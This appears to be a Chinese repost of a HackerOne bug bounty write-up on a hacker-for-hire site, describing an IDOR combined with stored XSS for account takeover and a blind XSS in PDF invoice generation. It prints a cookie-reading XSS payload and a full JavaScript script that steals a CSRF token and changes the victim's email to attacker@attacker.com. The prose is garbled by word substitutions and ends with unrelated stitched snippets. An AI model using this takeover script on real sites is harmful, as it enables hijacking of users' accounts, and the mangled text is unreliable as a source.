大家好,本文我要共享的是我参加Hackerone某约请项目,经过方针测验网站的高档功能模块(PRO features)完成了更多攻击面测验,并发现了两个严峻缝隙,获得了$7000美金的不菲奖赏。
之一个缝隙-账号绑架
我发现的之一个缝隙便是不安全方针引证缝隙(IDOR),使用该缝隙我能在每个账户中创立一个 element x元素,经过和朋友的沟通,他主张我能够试试在其间注入一些 javascript 脚本,所以我就在某文本区域的 element x 中刺进了以下Payload脚本,完成了用XSS *** 对账户cookie的读取。
‘%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.cookie)%3E
IDOR:不安全的直接方针引证答应攻击者绕过网站的身份验证机制,并经过修正指向方针链接中的参数值来直接拜访方针方针资源,这类资源能够是归于其他用户的数据库条目以及服务器体系中的隐私文件等等。导致这种状况呈现的原因是,体系在承受用户输入并使用输入信息获取方针之前没有对用户身份权限进行检测。
现在,有了这种IDOR缝隙下的存储型XSS使用途径,并且方针测验网站又没有设置CSP的白名单机制,因而我能够结构一段小脚本,让这段脚原本盗取受害用户的CSRF令牌认证信息(CSRF token),这样能够修正其emailID或以办理员身份把对方添加为好友,直接完成对受害者的账户绑架。
与IDOR缝隙使用相同, javascript 脚本能够在全部账户中完成长途存储,然后经过结构运转,完成对全部方针网站注册账户的绑架,这便是XSS和IDOR缝隙的结合威力。我终究的 javascript Payload使用脚本如下:
function stealEmailToken()
{
var fetchHash = new XMLHttpRequest();
var url = "https://--domain--/--path--/personal/update_email.html";
var datax;
var all_elements;
var vc_email_token='initial';
fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
{
datax = fetchHash.responseText;
var loot = document.createElement('html');
loot.innerHTML = datax;
all_elements = loot.getElementsByTagName( 'input' );
vc_email_token = all_elements[2].value;
alert('Stole your Email change Token: '+vc_email_token+' ...Tabahi');
//hack(vc_email_token);
}
}
fetchHash.open("GET",url, true);
fetchHash.withCredentials=true;
fetchHash.send();
}
stealEmailToken();
function hack(emailToken)
{
var HackAccount = new XMLHttpRequest();
url= "https://--domain--/--path--/personal/update_email.html";
HackAccount .open("POST",url, true);
HackAccount .withCredentials=true;
var
data=
'AccountEmailForm%5BsEmail%5D%5Bfirst%5D=attacker%40attacker.com&AccountEmailForm%5BsEmail%5D%5Bsecond%5D=attacker%40attacker.com&AccountEmailForm%5B_token%5D='+emailToken
;
HackAccount .setRequestHeader('X-Requested-With','XMLHttpRequest');
HackAccount .setRequestHeader('Content-Type','application/x-www-form-urlencoded');
HackAccount .send(data);
}
这个脚本中,我能从…personal/update_email.html的账户页面中读取 input 元素的 csrf token ,然后使用 hack() 函数来把这个盗取来的 csrf token发送一个更改用户email ID的POST恳求,终究完成账户绑架。上报这个缝隙之后,厂商团队立刻就进行了修正,之后,我也获得了奖赏的$3500赏金。
第二个缝隙 – BLIND XSS
因为方针测验网站注册有付费版的专业高档功能模块,所以我决议付钱来购买进行测验。这个购买付费 *** 有两种,也即信用卡和银行转账。在银行转账 *** 中,会生成一个电子发票并能依照用户在记账时输入的名字邮箱地址等信息,以电邮 *** 发送到用户邮箱中。
因而,在pdf电子发票的生成过程中,我能够尝试着在其间注入一些html元素来看看是否能直接履行脚本,可是,这种 *** 是行不通的。
之后,我就在其间刺进了一个使用 XSSHunter 生成的 BLIND XSS Payload,全部就静等上钩吧。几天之后,我无意间阅读了我的XSSHunter账户,出人意料地发现,那段刺进的BLIND XSS Payload居然在方针测验网站的控制面板办理区域被成功触发了!
XSS Payload成功履行的一同,也一同生成了pdf的电子发票,也便是在这种电子发票主动生成过程中,体系未对输入作安全过滤,导致能够履行XSS
[1] [2] 黑客接单网
咱们在上一篇文章中介绍如安在QEMU上履行iOS并发动一个交互式bash shell,在第这篇文章中,咱们将详细介绍为完结这些方针所进行的一些详细的项目研讨。 本文的研讨项目是以该项目为根底进行的,咱...
sleep 1不支持的系统包括Windows 2003和Windows XP,如果你使用的是不支持的版本,则解决此漏洞的最佳方法是升级到最新版本的Windows。 即便如此,微软还是在KB450070...
为了供给上下文,实践上会将其分化成各个小框,咱们需求将它包装在所谓的视图中。 这些数据视图能够增加类型化的数组,而且能够运用许多不同类型的类型数组。 Get-Module -ListAvailable...
此外,AppUse预装了许多"hack me"运用,包含他们的服务端。 关于浸透测验者而言,在测验几个新东西或许技能以及一些意图时,有这些运用是十分必要的。 假如“网络要挟”是一个鬼魂的话,那么201...
运用依据CLR的言语编译器开发的代码称为保管代码;保管代码具有许多长处,例如:跨言语集成、跨言语反常处理、增强的安全性、版别操控和布置支撑、简化的组件交互模型、调试和剖析服务等。 );?>...
3)whoami16那么怎样打破呢? 15db_namp能够看到,这儿的数据是以post方法提交过来的,然后被赋值给了变量$target。...